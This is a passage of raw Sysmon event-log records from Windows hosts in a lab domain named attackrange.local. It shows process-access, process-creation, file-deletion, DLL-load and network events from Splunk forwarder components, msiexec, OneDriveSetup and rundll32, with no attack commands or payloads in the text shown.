\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013871Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.879{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013870Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.879{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013869Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.879{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013868Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.879{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6F50-613B-9604-00000000F101}2332C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013867Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.879{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F50-613B-9604-00000000F101}2332C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013866Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.880{625C326B-6F50-613B-9604-00000000F101}2332C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000013865Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.457{625C326B-6F50-613B-9504-00000000F101}15241504C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013864Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.207{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F50-613B-9504-00000000F101}1524C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013863Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.207{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013862Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.207{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013861Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.207{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013860Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.207{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013859Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.207{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013858Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.207{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013857Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.207{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013856Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.207{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013855Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.207{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013854Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.207{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6F50-613B-9504-00000000F101}1524C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013853Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.207{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F50-613B-9504-00000000F101}1524C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013852Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:32.208{625C326B-6F50-613B-9504-00000000F101}1524C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 11241100x800000000000000043126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:32.362{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Layouts\qquicklayoutsplugin.dll2021-09-10 14:44:32.362 23542300x800000000000000043125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.299{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b13c.rbsMD5=9FCF33C26329F8334CC3134CDA3C2619,SHA256=96756D5BA9B3EDE7438B19027C71D391E71FF38C20802DAA1847391756A49D9D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000043124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.127{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF48D42357630C9DAD.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.033{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1C6461C585048666A7F66FE39EF3CF8B,SHA256=BCEC6302794CC894A8F14C4BFF8646BDA2DFCB875787708B02658EC21F2F2E5A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000043122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:32.033{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF2DD61012A10B5CD3.TMPMD5=8C2D23AAC76DB61AE32E28914D19738C,SHA256=BB5E0BDD51781D89DF35494F44B004D1341FD43FFBC7A760F87DC12F4CCBE078,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 11241100x800000000000000043152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:33.783{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ssleay32.dll2021-09-10 14:44:33.705 23542300x800000000000000013883Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:33.895{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8C0D8FC21C6FD10BF54066C98C550BD6,SHA256=24193BAE04A0E401FD5CE0D84539B57EE8B27682A21721DA85C9B54F3D2F48FC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013882Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:33.895{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4F8A3763E06E28803BDAB62CE9FE6747,SHA256=660700C705838FD05BDE1AA411D2F79E10F1606E5F47E655A03BAF5600AC000E,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000043151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:33.658{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick.2\qtquick2plugin.dll2021-09-10 14:44:33.643 354300x800000000000000043150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:31.432{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59236-false10.0.1.12-8000- 18141800x800000000000000043149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:33.283{7BD73061-6F51-613B-1009-00000000F001}5996\SfxCA_2468078C:\Windows\SysWOW64\rundll32.exe 10341000x800000000000000043148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:33.268{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-6F51-613B-1009-00000000F001}5996C:\Windows\SysWOW64\rundll32.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:33.252{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-6F51-613B-1009-00000000F001}5996C:\Windows\SysWOW64\rundll32.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000043146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:33.221{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\arm64\FileSyncApi64.dll2021-09-10 14:44:33.221 10341000x800000000000000043145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 